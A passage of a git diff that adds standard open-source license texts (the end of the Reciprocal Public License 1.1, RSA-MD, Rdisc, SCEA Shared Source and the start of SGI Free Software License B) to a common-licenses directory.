+ 1.16 "Source Code" means the preferred form for making modifications to the Licensed Software and/or Your Extensions, including all modules contained therein, plus any associated text, interface definition files, scripts used to control compilation and installation of an executable program or other components required by a third party of average skill to build a running version of the Licensed Software or Your Extensions.
+
+ 1.17 "You" or "Your" means an individual or a legal entity exercising rights under this License. For legal entities, "You" or "Your" includes any entity which controls, is controlled by, or is under common control with, You, where "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2.0 Acceptance Of License. You are not required to accept this License since you have not signed it, however nothing else grants you permission to use, copy, distribute, modify, or create derivatives of either the Software or any Extensions created by a Contributor. These actions are prohibited by law if you do not accept this License. Therefore, by performing any of these actions You indicate Your acceptance of this License and Your agreement to be bound by all its terms and conditions. IF YOU DO NOT AGREE WITH ALL THE TERMS AND CONDITIONS OF THIS LICENSE DO NOT USE, MODIFY, CREATE DERIVATIVES, OR DISTRIBUTE THE SOFTWARE. IF IT IS IMPOSSIBLE FOR YOU TO COMPLY WITH ALL THE TERMS AND CONDITIONS OF THIS LICENSE THEN YOU CAN NOT USE, MODIFY, CREATE DERIVATIVES, OR DISTRIBUTE THE SOFTWARE.
+
+3.0 Grant of License From Licensor. Subject to the terms and conditions of this License, Licensor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to Licensor's intellectual property rights, and any third party intellectual property claims derived from the Licensed Software under this License, to do the following:
+
+ 3.1 Use, reproduce, modify, display, perform, sublicense and distribute Licensed Software and Your Extensions in both Source Code form or as an executable program.
+
+ 3.2 Create Derivative Works (as that term is defined under U.S. copyright law) of Licensed Software by adding to or deleting from the substance or structure of said Licensed Software.
+
+ 3.3 Under claims of patents now or hereafter owned or controlled by Licensor, to make, use, have made, and/or otherwise dispose of Licensed Software or portions thereof, but solely to the extent that any such claim is necessary to enable You to make, use, have made, and/or otherwise dispose of Licensed Software or portions thereof.
+
+ 3.4 Licensor reserves the right to release new versions of the Software with different features, specifications, capabilities, functions, licensing terms, general availability or other characteristics. Title, ownership rights, and intellectual property rights in and to the Licensed Software shall remain in Licensor and/or its Contributors.
+
+4.0 Grant of License From Contributor. By application of the provisions in Section 6 below, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to said Contributor's intellectual property rights, and any third party intellectual property claims derived from the Licensed Software under this License, to do the following:
+
+ 4.1 Use, reproduce, modify, display, perform, sublicense and distribute any Extensions Deployed by such Contributor or portions thereof, in both Source Code form or as an executable program, either on an unmodified basis or as part of Derivative Works.
+
+ 4.2 Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, have made, and/or otherwise dispose of Extensions or portions thereof, but solely to the extent that any such claim is necessary to enable You to make, use, have made, and/or otherwise dispose of Contributor's Extensions or portions thereof.
+
+5.0 Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. Except as expressly stated in Sections 3 and 4, no other patent rights, express or implied, are granted herein. Your Extensions may require additional patent licenses from Licensor or Contributors which each may grant in its sole discretion. No right is granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Software. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any code that Licensor otherwise would have a right to license.
+
+ 5.1 You expressly acknowledge and agree that although Licensor and each Contributor grants the licenses to their respective portions of the Licensed Software set forth herein, no assurances are provided by Licensor or any Contributor that the Licensed Software does not infringe the patent or other intellectual property rights of any other entity. Licensor and each Contributor disclaim any liability to You for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, You hereby assume sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow You to distribute the Licensed Software, it is Your responsibility to acquire that license before distributing the Licensed Software.
+
+6.0 Your Obligations And Grants. In consideration of, and as an express condition to, the licenses granted to You under this License You hereby agree that any Modifications, Derivative Works, or Required Components (collectively Extensions) that You create or to which You contribute are governed by the terms of this License including, without limitation, Section 4. Any Extensions that You create or to which You contribute must be Deployed under the terms of this License or a future version of this License released under Section 7. You hereby grant to Licensor and all third parties a world-wide, non-exclusive, royalty-free license under those intellectual property rights You own or control to use, reproduce, display, perform, modify, create derivatives, sublicense, and distribute Your Extensions, in any form. Any Extensions You make and Deploy must have a distinct title so as to readily tell any subsequent user or Contributor that the Extensions are by You. You must include a copy of this License with every copy of the Extensions You distribute. You agree not to offer or impose any terms on any Source Code or executable version of the Licensed Software, or its Extensions that alter or restrict the applicable version of this License or the recipients' rights hereunder.
+
+ 6.1 Availability of Source Code. You must make available, under the terms of this License, the Source Code of the Licensed Software and any Extensions that You Deploy, either on the same media as You distribute any executable or other form of the Licensed Software, or via an Electronic Distribution Mechanism. The Source Code for any version of Licensed Software, or its Extensions that You Deploy must be made available at the time of Deployment and must remain available for as long as You Deploy the Extensions or at least twelve (12) months after the date You Deploy, whichever is longer. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party. You may not charge a fee for the Source Code distributed under this Section in excess of Your actual cost of duplication and distribution where such duplication and distribution involve physical media.
+
+ 6.2 Description of Modifications. You must cause any Modifications that You create or to which You contribute, to update the file titled "CHANGES" distributed with Licensed Software documenting the additions, changes or deletions You made, the authors of such Modifications, and the dates of any such additions, changes or deletions. You must also cause a cross-reference to appear in the Source Code at the location of each change. You must include a prominent statement that the Modifications are derived, directly or indirectly, from the Licensed Software and include the names of the Licensor and any Contributor to the Licensed Software in (i) the Source Code and (ii) in any notice displayed by the Licensed Software You distribute or in related documentation in which You describe the origin or ownership of the Licensed Software. You may not modify or delete any pre-existing copyright notices, change notices or License text in the Licensed Software.
+
+ 6.3 Intellectual Property Matters.
+
+ a. Third Party Claims. If You have knowledge that a license to a third party's intellectual property right is required to exercise the rights granted by this License, You must include a text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If You obtain such knowledge after You make any Extensions available as described in Section 6.1, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Licensed Software from You that new knowledge has been obtained.
+
+ b. Contributor APIs. If Your Extensions include an application programming interface ("API") and You have knowledge of patent licenses that are reasonably necessary to implement that API, You must also include this information in the LEGAL file.
+
+ c. Representations. You represent that, except as disclosed pursuant to 6.3(a) above, You believe that any Extensions You distribute are Your original creations and that You have sufficient rights to grant the rights conveyed by this License.
+
+ 6.4 Required Notices.
+
+ a. License Text. You must duplicate this License in any documentation You provide along with the Source Code of any Extensions You create or to which You contribute, wherever You describe recipients' rights relating to Licensed Software. You must duplicate the notice contained in EXHIBIT A (the "Notice") in each file of the Source Code of any copy You distribute of the Licensed Software and Your Extensions. If You create an Extension, You may add Your name as a Contributor to the text file titled "CONTRIB" distributed with the Licensed Software along with a description of the contribution. If it is not possible to put the Notice in a particular Source Code file due to its structure, then You must include such Notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice.
+
+ b. Source Code Availability. You must notify Licensor within one (1) month of the date You initially Deploy of the availability of Source Code to Your Extensions and include in such notification the name under which you Deployed Your Extensions, a description of the Extensions, and instructions on how to acquire the Source Code, including instructions on how to acquire updates over time. Should such instructions change you must provide Licensor with revised instructions within one (1) month of the date of change. Should you be unable to notify Licensor directly, you must provide notification by posting to appropriate news groups, mailing lists, or web sites where a search engine would reasonably be expected to index them.
+
+ 6.5 Additional Terms. You may choose to offer, and charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Licensed Software. However, You may do so only on Your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Licensor and every Contributor for any liability plus attorney fees, costs, and related expenses due to any such action or claim incurred by the Licensor or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 6.6 Conflicts With Other Licenses. Where any portion of Your Extensions, by virtue of being Derivative Works of another product or similar circumstance, fall under the terms of another license, the terms of that license should be honored however You must also make Your Extensions available under this License. If the terms of this License continue to conflict with the terms of the other license you may write the Licensor for permission to resolve the conflict in a fashion that remains consistent with the intent of this License. Such permission will be granted at the sole discretion of the Licensor.
+
+7.0 Versions of This License. Licensor may publish from time to time revised and/or new versions of the License. Once Licensed Software has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Licensed Software under the terms of any subsequent version of the License published by Licensor. No one other than Licensor has the right to modify the terms applicable to Licensed Software created under this License.
+
+ 7.1 If You create or use a modified version of this License, which You may do only in order to apply it to software that is not already Licensed Software under this License, You must rename Your license so that it is not confusingly similar to this License, and must make it clear that Your license contains terms that differ from this License. In so naming Your license, You may not use any trademark of Licensor or of any Contributor. Should Your modifications to this License be limited to alteration of EXHIBIT A purely for purposes of adjusting the Notice You require of licensees, You may continue to refer to Your License as the Reciprocal Public License or simply the RPL.
+
+8.0 Disclaimer of Warranty. LICENSED SOFTWARE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. FURTHER THERE IS NO WARRANTY MADE AND ALL IMPLIED WARRANTIES ARE DISCLAIMED THAT THE LICENSED SOFTWARE MEETS OR COMPLIES WITH ANY DESCRIPTION OF PERFORMANCE OR OPERATION, SAID COMPATIBILITY AND SUITABILITY BEING YOUR RESPONSIBILITY. LICENSOR DISCLAIMS ANY WARRANTY, IMPLIED OR EXPRESSED, THAT ANY CONTRIBUTOR'S EXTENSIONS MEET ANY STANDARD OF COMPATIBILITY OR DESCRIPTION OF PERFORMANCE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LICENSED SOFTWARE IS WITH YOU. SHOULD LICENSED SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. UNDER THE TERMS OF THIS LICENSOR WILL NOT SUPPORT THIS SOFTWARE AND IS UNDER NO OBLIGATION TO ISSUE UPDATES TO THIS SOFTWARE. LICENSOR HAS NO KNOWLEDGE OF ERRANT CODE OR VIRUS IN THIS SOFTWARE, BUT DOES NOT WARRANT THAT THE SOFTWARE IS FREE FROM SUCH ERRORS OR VIRUSES. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+9.0 Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED SOFTWARE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10.0 High Risk Activities. THE LICENSED SOFTWARE IS NOT FAULT-TOLERANT AND IS NOT DESIGNED, MANUFACTURED, OR INTENDED FOR USE OR DISTRIBUTION AS ON-LINE CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE PERFORMANCE, SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR COMMUNICATIONS SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE LICENSED SOFTWARE COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). LICENSOR AND CONTRIBUTORS SPECIFICALLY DISCLAIM ANY EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES.
+
+11.0 Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License which specifically disclaims warranties and limits any liability of the Licensor. This paragraph is to be used in conjunction with and controlled by the Disclaimer Of Warranties of Section 8, the Limitation Of Damages in Section 9, and the disclaimer against use for High Risk Activities in Section 10. The Licensor has thereby disclaimed all warranties and limited any damages that it is or may be liable for. You agree to work with Licensor and Contributors to distribute such responsibility on an equitable basis consistent with the terms of this License including Sections 8, 9, and 10. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+12.0 Termination. This License and all rights granted hereunder will terminate immediately in the event of the circumstances described in Section 13.6 or if applicable law prohibits or restricts You from fully and or specifically complying with Sections 3, 4 and/or 6, or prevents the enforceability of any of those Sections, and You must immediately discontinue any use of Licensed Software.
+
+ 12.1 Automatic Termination Upon Breach. This License and the rights granted hereunder will terminate automatically if You fail to comply with the terms herein and fail to cure such breach within thirty (30) days of becoming aware of the breach. All sublicenses to the Licensed Software that are properly granted shall survive any termination of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+ 12.2 Termination Upon Assertion of Patent Infringement. If You initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or Contributor against whom You file such an action is referred to herein as "Respondent") alleging that Licensed Software directly or indirectly infringes any patent, then any and all rights granted by such Respondent to You under Sections 3 or 4 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice Period") unless within that Notice Period You either agree in writing (i) to pay Respondent a mutually agreeable reasonably royalty for Your past or future use of Licensed Software made by such Respondent, or (ii) withdraw Your litigation claim with respect to Licensed Software against such Respondent. If within said Notice Period a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Licensor to You under Sections 3 and 4 automatically terminate at the expiration of said Notice Period.
+
+ 12.3 Reasonable Value of This License. If You assert a patent infringement claim against Respondent alleging that Licensed Software directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by said Respondent under Sections 3 and 4 shall be taken into account in determining the amount or value of any payment or license.
+
+ 12.4 No Retroactive Effect of Termination. In the event of termination under this Section all end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+13.0 Miscellaneous.
+
+ 13.1 U.S. Government End Users. The Licensed Software is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Software with only those rights set forth herein.
+
+ 13.2 Relationship of Parties. This License will not be construed as creating an agency, partnership, joint venture, or any other form of legal association between or among You, Licensor, or any Contributor, and You will not represent to the contrary, whether expressly, by implication, appearance, or otherwise.
+
+ 13.3 Independent Development. Nothing in this License will impair Licensor's right to acquire, license, develop, subcontract, market, or distribute technology or products that perform the same or similar functions as, or otherwise compete with, Extensions that You may develop, produce, market, or distribute.
+
+ 13.4 Consent To Breach Not Waiver. Failure by Licensor or Contributor to enforce any provision of this License will not be deemed a waiver of future enforcement of that or any other provision.
+
+ 13.5 Severability. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+ 13.6 Inability to Comply Due to Statute or Regulation. If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Licensed Software due to statute, judicial order, or regulation, then You cannot use, modify, or distribute the software.
+
+ 13.7 Export Restrictions. You may be restricted with respect to downloading or otherwise acquiring, exporting, or reexporting the Licensed Software or any underlying information or technology by United States and other applicable laws and regulations. By downloading or by otherwise obtaining the Licensed Software, You are agreeing to be responsible for compliance with all applicable laws and regulations.
+
+ 13.8 Arbitration, Jurisdiction & Venue. This License shall be governed by Colorado law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that any dispute relating to this License shall be submitted to binding arbitration under the rules then prevailing of the American Arbitration Association. You further agree that Adams County, Colorado USA is proper venue and grant such arbitration proceeding jurisdiction as may be appropriate for purposes of resolving any dispute under this License. Judgement upon any award made in arbitration may be entered and enforced in any court of competent jurisdiction. The arbitrator shall award attorney's fees and costs of arbitration to the prevailing party. Should either party find it necessary to enforce its arbitration award or seek specific performance of such award in a civil court of competent jurisdiction, the prevailing party shall be entitled to reasonable attorney's fees and costs. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. You and Licensor expressly waive any rights to a jury trial in any litigation concerning Licensed Software or this License. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+ 13.9 Entire Agreement. This License constitutes the entire agreement between the parties with respect to the subject matter hereof.
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy You distribute of the Licensed Software or any Extensions thereto, except as may be modified as allowed under the terms of Section 7.1
+Copyright (C) 1999-2002 Technical Pursuit Inc., All Rights Reserved. Patent Pending, Technical Pursuit Inc.
+
+Unless explicitly acquired and licensed from Licensor under the Technical Pursuit License ("TPL") Version 1.0 or greater, the contents of this file are subject to the Reciprocal Public License ("RPL") Version 1.1, or subsequent versions as allowed by the RPL, and You may not copy or use this file in either source code or executable form, except in compliance with the terms and conditions of the RPL.
+You may obtain a copy of both the TPL and the RPL (the "Licenses") from Technical Pursuit Inc. at http://www.technicalpursuit.com.
+
+All software distributed under the Licenses is provided strictly on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, AND TECHNICAL PURSUIT INC. HEREBY DISCLAIMS ALL SUCH WARRANTIES, INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT, OR NON-INFRINGEMENT. See the Licenses for specific language governing rights and limitations under the Licenses.
diff --git a/meta/files/common-licenses/RSA-MD b/meta/files/common-licenses/RSA-MD
new file mode 100644
index 0000000000..a8be92883f
--- /dev/null
+++ b/meta/files/common-licenses/RSA-MD
@@ -0,0 +1,9 @@
+Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All rights reserved.
+
+License to copy and use this software is granted provided that it is identified as the "RSA Data Security, Inc. MD5 Message-Digest Algorithm" in all material mentioning or referencing this software or this function.
+
+License is also granted to make and use derivative works provided that such works are identified as "derived from the RSA Data Security, Inc. MD5 Message-Digest Algorithm" in all material mentioning or referencing the derived work.
+
+RSA Data Security, Inc. makes no representations concerning either the merchantability of this software or the suitability of this software for any particular purpose. It is provided "as is" without express or implied warranty of any kind.
+
+These notices must be retained in any copies of any part of this documentation and/or software.
diff --git a/meta/files/common-licenses/Rdisc b/meta/files/common-licenses/Rdisc
new file mode 100644
index 0000000000..04104beca8
--- /dev/null
+++ b/meta/files/common-licenses/Rdisc
@@ -0,0 +1,13 @@
+Rdisc (this program) was developed by Sun Microsystems, Inc. and is provided for unrestricted use provided that this legend is included on all tape media and as a part of the software program in whole or part. Users may copy or modify Rdisc without charge, and they may freely distribute it.
+
+RDISC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
+
+Rdisc is provided with no support and without any obligation on the part of Sun Microsystems, Inc. to assist in its use, correction, modification or enhancement.
+
+SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY RDISC OR ANY PART THEREOF.
+
+In no event will Sun Microsystems, Inc. be liable for any lost revenue or profits or other special, indirect and consequential damages, even if Sun has been advised of the possibility of such damages.
+
+Sun Microsystems, Inc.
+2550 Garcia Avenue
+Mountain View, California 94043
diff --git a/meta/files/common-licenses/SCEA b/meta/files/common-licenses/SCEA
new file mode 100644
index 0000000000..48892757e9
--- /dev/null
+++ b/meta/files/common-licenses/SCEA
@@ -0,0 +1,60 @@
+SCEA Shared Source License 1.0
+
+Terms and Conditions:
+
+1. Definitions:
+
+"Software" shall mean the software and related documentation, whether in Source or Object Form, made available under this SCEA Shared Source license ("License"), that is indicated by a copyright notice file included in the source files or attached or accompanying the source files.
+
+"Licensor" shall mean Sony Computer Entertainment America, Inc. (herein "SCEA")
+
+"Object Code" or "Object Form" shall mean any form that results from translation or transformation of Source Code, including but not limited to compiled object code or conversions to other forms intended for machine execution.
+"Source Code" or "Source Form" shall have the plain meaning generally accepted in the software industry, including but not limited to software source code, documentation source, header and configuration files.
+
+"You" or "Your" shall mean you as an individual or as a company, or whichever form under which you are exercising rights under this License.
+
+2. License Grant.
+
+Licensor hereby grants to You, free of charge subject to the terms and conditions of this License, an irrevocable, non-exclusive, worldwide, perpetual, and royalty-free license to use, modify, reproduce, distribute, publicly perform or display the Software in Object or Source Form .
+
+3. No Right to File for Patent.
+In exchange for the rights that are granted to You free of charge under this License, You agree that You will not file for any patent application, seek copyright protection or take any other action that might otherwise impair the ownership rights in and to the Software that may belong to SCEA or any of the other contributors/authors of the Software.
+
+4. Contributions.
+
+SCEA welcomes contributions in form of modifications, optimizations, tools or documentation designed to improve or expand the performance and scope of the Software (collectively "Contributions"). Per the terms of this License You are free to modify the Software and those modifications would belong to You. You may however wish to donate Your Contributions to SCEA for consideration for inclusion into the Software. For the avoidance of doubt, if You elect to send Your Contributions to SCEA, You are doing so voluntarily and are giving the Contributions to SCEA and its parent company Sony Computer Entertainment, Inc., free of charge, to use, modify or distribute in any form or in any manner. SCEA acknowledges that if You make a donation of Your Contributions to SCEA, such Contributions shall not exclusively belong to SCEA or its parent company and such donation shall not be to Your exclusion. SCEA, in its sole discretion, shall determine whether or not to include Your donated Contributions into the Software, in whole, in part, or as modified by SCEA. Should SCEA elect to include any such Contributions into the Software, it shall do so at its own risk and may elect to give credit or special thanks to any such contributors in the attached copyright notice. However, if any of Your contributions are included into the Software, they will become part of the Software and will be distributed under the terms and conditions of this License. Further, if Your donated Contributions are integrated into the Software then Sony Computer Entertainment, Inc. shall become the copyright owner of the Software now containing Your contributions and SCEA would be the Licensor.
+
+5. Redistribution in Source Form
+
+You may redistribute copies of the Software, modifications or derivatives thereof in Source Code Form, provided that You:
+
+ a. Include a copy of this License and any copyright notices with source
+
+ b. Identify modifications if any were made to the Software
+
+ c. Include a copy of all documentation accompanying the Software and modifications made by You
+
+6. Redistribution in Object Form
+
+If You redistribute copies of the Software, modifications or derivatives thereof in Object Form only (as incorporated into finished goods, i.e. end user applications) then You will not have a duty to include any copies of the code, this License, copyright notices, other attributions or documentation.
+
+7. No Warranty
+
+THE SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT ANY REPRESENTATIONS OR WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE. YOU ARE SOLELY RESPONSIBLE FOR DETERMINING THE APPROPRIATENESS OF USING, MODIFYING OR REDISTRIBUTING THE SOFTWARE AND ASSUME ANY RISKS ASSOCIATED WITH YOUR EXERCISE OF PERMISSIONS UNDER THIS LICENSE.
+
+8. Limitation of Liability
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY WILL EITHER PARTY BE LIABLE TO THE OTHER PARTY OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT, CONSEQUENTIAL, SPECIAL, INCIDENTAL, OR EXEMPLARY DAMAGES WITH RESPECT TO ANY INJURY, LOSS, OR DAMAGE, ARISING UNDER OR IN CONNECTION WITH THIS LETTER AGREEMENT, WHETHER FORESEEABLE OR UNFORESEEABLE, EVEN IF SUCH PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH INJURY, LOSS, OR DAMAGE. THE LIMITATIONS OF LIABILITY SET FORTH IN THIS SECTION SHALL APPLY TO THE FULLEST EXTENT PERMISSIBLE AT LAW OR ANY GOVERMENTAL REGULATIONS.
+
+9. Governing Law and Consent to Jurisdiction
+
+This Agreement shall be governed by and interpreted in accordance with the laws of the State of California, excluding that body of law related to choice of laws, and of the United States of America. Any action or proceeding brought to enforce the terms of this Agreement or to adjudicate any dispute arising hereunder shall be brought in the Superior Court of the County of San Mateo, State of California or the United States District Court for the Northern District of California. Each of the parties hereby submits itself to the exclusive jurisdiction and venue of such courts for purposes of any such action. In addition, each party hereby waives the right to a jury trial in any action or proceeding related to this Agreement.
+
+10. Copyright Notice for Redistribution of Source Code
+
+Copyright 2005 Sony Computer Entertainment Inc.
+
+Licensed under the SCEA Shared Source License, Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at:
+http://research.scea.com/scea_shared_source_license.html
+
+Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SGI-B-1.0 b/meta/files/common-licenses/SGI-B-1.0
new file mode 100644
index 0000000000..0c0fcce29a
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-1.0
@@ -0,0 +1,82 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 1.0 1/25/2000)
+
+1. Definitions.
+
+ 1.1 "Additional Notice Provisions" means such additional provisions as appear in the Notice in Original Code under the heading "Additional Notice Provisions."
+
+ 1.2 "API" means an application programming interface established by SGI in conjunction with the Original Code.
+
+ 1.3 "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4 "Hardware" means any physical device that accepts input, processes input, stores the results of processing, and/or provides output.
+
+ 1.5 "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.6 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.7 "License" means this document.
+
+ 1.8 "Modifications" means any addition to the substance or structure of the Original Code and/or any addition to or deletion from previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to the contents of a file containing Original Code and/or any addition to or deletion from previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.9 "Notice" means any notice in Original Code or Covered Code, as required by and in compliance with this License.
+
+ 1.10 "Original Code" means source code of computer software code which is described in the source code Notice required by Exhibit A as Original Code, and updates and error corrections specifically thereto.
+
+ 1.11 "Recipient" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 8. For legal entities, "Recipient" includes any entity which controls, is controlled by, or is under common control with Recipient. For purposes of this definition, "control" of an entity means (a) the power, direct or indirect, to direct or manage such entity, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.12 SGI" means Silicon Graphics, Inc.
+
+2. License Grant and Restrictions.
+
+ 2.1v License Grant. Subject to the provisions of this License and any third party intellectual property claims, for the duration of intellectual property protections inherent in the Original Code, SGI hereby grants Recipient a worldwide, royalty-free, non-exclusive license, to do the following: (i) under copyrights Licensable by SGI, to reproduce, distribute, create derivative works from, and, to the extent applicable, display and perform the Original Code alone and/or as part of a Larger Work; and (ii) under any patent claims Licensable by SGI and embodied in the Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code. Recipient accepts the terms and conditions of this License by undertaking any of the aforementioned actions.
+
+ 2.2 Restriction on Patent License. Notwithstanding the provisions of Section 2.1(ii), no patent license is granted: 1) separate from the Original Code; nor 2) for infringements caused by (i) modification of the Original Code, or (ii) the combination of the Original Code with other software or Hardware.
+
+ 2.3 No License For Hardware Implementations. The licenses granted in Section 2.1 are not applicable to implementation in Hardware of the algorithms embodied in the Original Code.
+
+ 2.4 Modifications License and API Compliance. Modifications are only licensed under Section 2.1(i) to the extent such Modifications are fully compliant with any API as may be identified in Additional Notice Provisions as appear in the Original Code.
+
+3. Redistributions.
+
+ A. Retention of Notice/Copy of License. The Notice set forth in Exhibit A, below, must be conspicuously retained or included in any and all redistributions of Covered Code. For distributions of the Covered Code in source code form, the Notice must appear in every file that can include a text comments field; in executable form, the Notice and a copy of this License must appear in related documentation or collateral where the Recipient’s rights relating to Covered Code are described. Any Additional Notice Provisions which actually appears in the Original Code must also be retained or included in any and all redistributions of Covered Code.
+
